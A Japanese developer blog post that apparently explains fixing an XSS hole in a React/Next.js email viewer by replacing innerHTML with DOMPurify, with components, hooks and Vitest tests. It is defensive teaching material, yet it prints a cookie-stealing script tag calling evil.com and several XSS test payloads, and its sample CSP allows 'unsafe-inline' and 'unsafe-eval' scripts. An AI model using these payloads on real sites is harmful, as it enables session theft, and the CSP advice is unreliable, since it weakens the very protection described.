💭

ReactでXSS脆弱性を防ぐ:DOMPurifyの実装方法

に公開

概要

メール管理システムで、HTMLメールの内容を表示する際にXSS(クロスサイトスクリプティング)脆弱性が発見されました。当初はinnerHTMLを使用してHTMLタグを除去していましたが、これは危険な実装でした。本記事では、なぜこの方法が危険なのか、そしてDOMPurifyを使用した安全な実装方法について解説します。

技術スタック

  • React: フロントエンド
  • Next.js 14+: App Router
  • DOMPurify: HTMLサニタイゼーション
  • TypeScript: 型安全性

実装内容

1. 危険な実装(修正前)

最初の実装では、HTMLタグを除去するために以下のような危険なコードを使用していました:

// ❌ 危険な実装例
function stripHtmlTags(html: string): string {
  // DOMを使ってHTMLタグを除去(XSS脆弱性あり!)
  const div = document.createElement('div');
  div.innerHTML = html; // ⚠️ 危険:任意のスクリプトが実行される可能性
  return div.textContent || div.innerText || '';
}

// Reactコンポーネントでの使用
function EmailPreview({ emailContent }: { emailContent: string }) {
  const plainText = stripHtmlTags(emailContent);

  return (
    <div className="email-content">
      {plainText}
    </div>
  );
}

なぜこれが危険なのか

上記のコードには以下の問題があります:

  1. スクリプト実行のリスク

    <!-- 攻撃者が送信した悪意のあるメール -->
    <img src=x onerror="alert('XSS Attack!')">
    <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
    

    これらのコードがinnerHTML経由で実行される可能性があります。

  2. イベントハンドラーの実行

    <div onmouseover="maliciousCode()">Hover me</div>
    
  3. スタイル攻撃

    <style>body { display: none !important; }</style>
    

2. 安全な実装(DOMPurify使用)

DOMPurifyを使用した安全な実装に修正:

// ✅ 安全な実装例
import DOMPurify from 'dompurify';

interface SanitizeOptions {
  allowedTags?: string[];
  allowedAttributes?: string[];
  keepContent?: boolean;
}

/**
 * HTMLコンテンツを安全にサニタイズする
 * @param html - サニタイズ対象のHTML文字列
 * @param options - サニタイズオプション
 * @returns サニタイズされた安全なHTML文字列
 */
function sanitizeHtml(
  html: string,
  options: SanitizeOptions = {}
): string {
  const {
    allowedTags = [],
    allowedAttributes = [],
    keepContent = true,
  } = options;

  // DOMPurifyの設定
  const config: DOMPurify.Config = {
    ALLOWED_TAGS: allowedTags,
    ALLOWED_ATTR: allowedAttributes,
    KEEP_CONTENT: keepContent, // タグは除去するがコンテンツは保持
    RETURN_DOM: false,
    RETURN_DOM_FRAGMENT: false,
    RETURN_TRUSTED_TYPE: false,
  };

  return DOMPurify.sanitize(html, config);
}

/**
 * すべてのHTMLタグを除去してプレーンテキストを取得
 * @param html - サニタイズ対象のHTML文字列
 * @returns プレーンテキスト
 */
function stripAllTags(html: string): string {
  return sanitizeHtml(html, {
    allowedTags: [],      // すべてのタグを禁止
    allowedAttributes: [], // すべての属性を禁止
    keepContent: true,     // テキストコンテンツは保持
  });
}

/**
 * 安全なHTMLタグのみを許可してサニタイズ
 * @param html - サニタイズ対象のHTML文字列
 * @returns サニタイズされたHTML文字列
 */
function sanitizeForDisplay(html: string): string {
  return sanitizeHtml(html, {
    allowedTags: [
      'p', 'br', 'strong', 'em', 'u',
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      'ul', 'ol', 'li',
      'blockquote', 'code', 'pre',
      'a', // リンクは許可するが、属性は制限
    ],
    allowedAttributes: [
      'href', // リンクのみ許可
      'title',
    ],
  });
}

3. Reactコンポーネントでの実装

安全にHTMLコンテンツを表示するReactコンポーネント:

// email-preview-panel.tsx
import React, { useMemo, memo } from 'react';
import DOMPurify from 'dompurify';

interface EmailPreviewPanelProps {
  email: {
    subject: string;
    bodyHtml?: string;
    bodyText?: string;
  };
  searchTerm?: string;
}

// パフォーマンス最適化:メモ化してレンダリング回数を削減
export const EmailPreviewPanel = memo(function EmailPreviewPanel({
  email,
  searchTerm
}: EmailPreviewPanelProps) {
  // メール本文の安全な処理
  const sanitizedContent = useMemo(() => {
    if (email.bodyHtml) {
      // HTMLメールの場合:タグを除去してプレーンテキスト化
      // パフォーマンス重視:計算コストの高いサニタイズをメモ化
      return DOMPurify.sanitize(email.bodyHtml, {
        ALLOWED_TAGS: [],
        KEEP_CONTENT: true,
      });
    }
    return email.bodyText || '';
  }, [email.bodyHtml, email.bodyText]);

  // 検索語のハイライト(安全な実装)
  const highlightedContent = useMemo(() => {
    if (!searchTerm) return sanitizedContent;

    // 検索語を安全にエスケープ
    const escapedTerm = searchTerm.replace(
      /[.*+?^${}()|[\]\\]/g,
      '\\$&'
    );

    // 大文字小文字を無視してマッチング
    const regex = new RegExp(`(${escapedTerm})`, 'gi');

    // マッチした部分を<mark>タグでラップ
    const parts = sanitizedContent.split(regex);

    return parts.map((part, index) => {
      if (index % 2 === 1) {
        // マッチした部分
        return (
          <mark
            key={index}
            className="bg-yellow-200 font-semibold"
          >
            {part}
          </mark>
        );
      }
      return part;
    });
  }, [sanitizedContent, searchTerm]);

  return (
    <div className="email-preview-panel p-6">
      <h2 className="text-xl font-bold mb-4">
        {email.subject}
      </h2>

      <div className="email-content whitespace-pre-wrap">
        {highlightedContent}
      </div>
    </div>
  );
});

4. Next.js Server Componentsでの実装

Server ComponentsでDOMPurifyを使用する場合の注意点:

// app/components/server-safe-content.tsx
import createDOMPurify from 'isomorphic-dompurify';

interface ServerSafeContentProps {
  html: string;
  allowedTags?: string[];
}

/**
 * Server Componentで安全にHTMLを表示
 * クライアント側のJavaScriptなしで動作
 */
export async function ServerSafeContent({
  html,
  allowedTags = []
}: ServerSafeContentProps) {
  // isomorphic-dompurifyを使用してNode.js環境で動作
  const DOMPurify = createDOMPurify();

  const sanitized = DOMPurify.sanitize(html, {
    ALLOWED_TAGS: allowedTags,
    KEEP_CONTENT: true,
    RETURN_TRUSTED_TYPE: false,
  });

  return (
    <div
      className="safe-content"
      dangerouslySetInnerHTML={{ __html: sanitized }}
    />
  );
}
// app/emails/[id]/page.tsx (Server Component)
import { ServerSafeContent } from '@/components/server-safe-content';

export default async function EmailDetailPage({
  params
}: {
  params: { id: string }
}) {
  const email = await getEmail(params.id);

  return (
    <div className="p-6">
      <h1>{email.subject}</h1>
      <ServerSafeContent html={email.bodyHtml} />
    </div>
  );
}

5. より高度なサニタイゼーション

特定の要件に応じたカスタマイズ:

// advanced-sanitizer.ts
import DOMPurify from 'dompurify';

/**
 * DOMPurifyのフックを設定する
 * URLバリデーションや危険な要素の除去を行う
 */
function setupDOMPurifyHooks(): void {
  // URLのバリデーション
  DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
    if (data.attrName === 'href') {
      const url = data.attrValue;

      // 許可するプロトコルのみ(httpとhttps)
      if (!url.match(/^https?:\/\//i)) {
        data.attrValue = '';
      }

      // 外部リンクにrel="noopener noreferrer"を追加
      if (node.nodeName === 'A') {
        node.setAttribute('rel', 'noopener noreferrer');
        node.setAttribute('target', '_blank');
      }
    }
  });

  // 危険なスタイル属性を除去
  DOMPurify.addHook('uponSanitizeElement', (node, data) => {
    // styleタグを完全に除去
    if (data.tagName === 'style') {
      node.remove();
    }
  });
}

/**
 * メールコンテンツを安全にサニタイズする
 * @param html - サニタイズ対象のHTML文字列
 * @returns サニタイズされたHTML文字列
 */
function sanitizeEmailContent(html: string): string {
  // 初回のみフックを設定
  setupDOMPurifyHooks();

  const config: DOMPurify.Config = {
    ALLOWED_TAGS: [
      'p', 'br', 'div', 'span',
      'strong', 'b', 'em', 'i', 'u',
      'h1', 'h2', 'h3', 'h4', 'h5', 'h6',
      'ul', 'ol', 'li',
      'table', 'thead', 'tbody', 'tr', 'th', 'td',
      'a', 'img',
      'blockquote', 'code', 'pre',
    ],
    ALLOWED_ATTR: [
      'href', 'src', 'alt', 'title',
      'class', // CSSクラスは許可(インラインスタイルは禁止)
    ],
    FORBID_ATTR: [
      'style', // インラインスタイルは禁止
      'onclick', 'onmouseover', // イベントハンドラーは全て禁止
    ],
    FORBID_TAGS: [
      'script', 'iframe', 'object', 'embed', 'form',
    ],
    KEEP_CONTENT: true,
    RETURN_TRUSTED_TYPE: false,
  };

  return DOMPurify.sanitize(html, config);
}

6. テストの実装

セキュリティテストも忘れずに:

// email-sanitizer.test.ts
import { describe, it, expect } from 'vitest';
import { stripAllTags, sanitizeForDisplay } from './email-sanitizer';

describe('Email Sanitization', () => {
  describe('XSS攻撃の防御', () => {
    it('scriptタグを除去する', () => {
      const malicious = '<script>alert("XSS")</script>Hello';
      const result = stripAllTags(malicious);

      expect(result).toBe('Hello');
      expect(result).not.toContain('script');
      expect(result).not.toContain('alert');
    });

    it('onerrorイベントを除去する', () => {
      const malicious = '<img src=x onerror="alert(1)">Text';
      const result = stripAllTags(malicious);

      expect(result).toBe('Text');
      expect(result).not.toContain('onerror');
    });

    it('危険なhref属性を無効化する', () => {
      const malicious = '<a href="javascript:alert(1)">Click</a>';
      const result = sanitizeForDisplay(malicious);

      expect(result).not.toContain('javascript:');
      expect(result).toContain('Click');
    });

    it('データURIスキームを除去する', () => {
      const malicious = `
        <a href="data:text/html,<script>alert(1)</script>">
          Link
        </a>
      `;
      const result = sanitizeForDisplay(malicious);

      expect(result).not.toContain('data:');
    });

    it('SVG内のスクリプトを除去する', () => {
      const malicious = `
        <svg onload="alert(1)">
          <script>alert('XSS')</script>
        </svg>
      `;
      const result = sanitizeForDisplay(malicious);

      expect(result).not.toContain('onload');
      expect(result).not.toContain('alert');
    });
  });

  describe('正常なコンテンツの保持', () => {
    it('プレーンテキストは変更しない', () => {
      const plain = 'This is plain text with 特殊文字';
      const result = stripAllTags(plain);

      expect(result).toBe(plain);
    });

    it('改行とスペースを保持する', () => {
      const text = 'Line 1\n\nLine 2    with    spaces';
      const result = stripAllTags(text);

      expect(result).toBe(text);
    });
  });
});

学んだこと

意外だった落とし穴

  1. textContentだけでは不十分

    • innerHTMLに値を設定した時点で、スクリプトが実行される可能性がある
    • textContentinnerTextを取得する前に、既に攻撃が成功している
  2. ReactのdangerouslySetInnerHTML

    • 名前に「dangerous」とある通り、本当に危険
    • 使用する場合は必ずサニタイゼーションが必要
  3. ブラウザの挙動の違い

    • ブラウザによってHTMLパースの挙動が異なる
    • 統一的なサニタイゼーションライブラリの使用が重要

今後使えそうな知見

  1. CSP(Content Security Policy)の併用

    // Next.jsでのCSP設定
    const cspHeader = `
      default-src 'self';
      script-src 'self' 'unsafe-eval' 'unsafe-inline';
      style-src 'self' 'unsafe-inline';
      img-src 'self' data: https:;
      font-src 'self';
      object-src 'none';
      base-uri 'self';
      form-action 'self';
      frame-ancestors 'none';
    `;
    
  2. サーバーサイドでのサニタイゼーション

    // APIルートでもサニタイゼーション
    import createDOMPurify from 'isomorphic-dompurify';
    
    export async function POST(request: Request) {
      const { content } = await request.json();
    
      // サーバーサイドでサニタイズ
      const DOMPurify = createDOMPurify();
      const sanitized = DOMPurify.sanitize(content);
    
      // DBに保存
      await saveEmail(sanitized);
    }
    

もっと良い書き方の発見

カスタムフックでロジックを分離

// use-sanitized-content.ts
import { useMemo } from 'react';
import DOMPurify from 'dompurify';

export function useSanitizedContent(
  html: string,
  options?: DOMPurify.Config
) {
  return useMemo(() => {
    const defaultOptions: DOMPurify.Config = {
      ALLOWED_TAGS: [],
      KEEP_CONTENT: true,
      ...options,
    };

    return DOMPurify.sanitize(html, defaultOptions);
  }, [html, options]);
}

// 使用例
function EmailComponent({ htmlContent }: Props) {
  const safeContent = useSanitizedContent(htmlContent);

  return <div>{safeContent}</div>;
}

終わりに

XSS脆弱性は、Webアプリケーションで最も一般的かつ危険な脆弱性の一つです。特にユーザーが入力したコンテンツを表示する際は、常に「このコンテンツは信頼できるか?」と自問する必要があります。

DOMPurifyのような実績のあるライブラリを使用することで、安全性を確保しながら、柔軟なコンテンツ表示が可能になります。セキュリティは後から追加するものではなく、設計段階から組み込むべき要素です。

皆さんも、HTMLコンテンツを扱う際は必ずサニタイゼーションを実装し、定期的にセキュリティテストを実施することをお勧めします。


この記事で紹介したコードは、実際のプロダクションコードを簡略化したものです。エラーハンドリングやセキュリティチェックなど、実際の実装では追加の考慮事項があります。

関連技術: React, Next.js, DOMPurify, isomorphic-dompurify, TypeScript, XSS対策, CSP, Server Components, Vitest

筆者: 91works開発チーム

91works Tech Blog

Discussion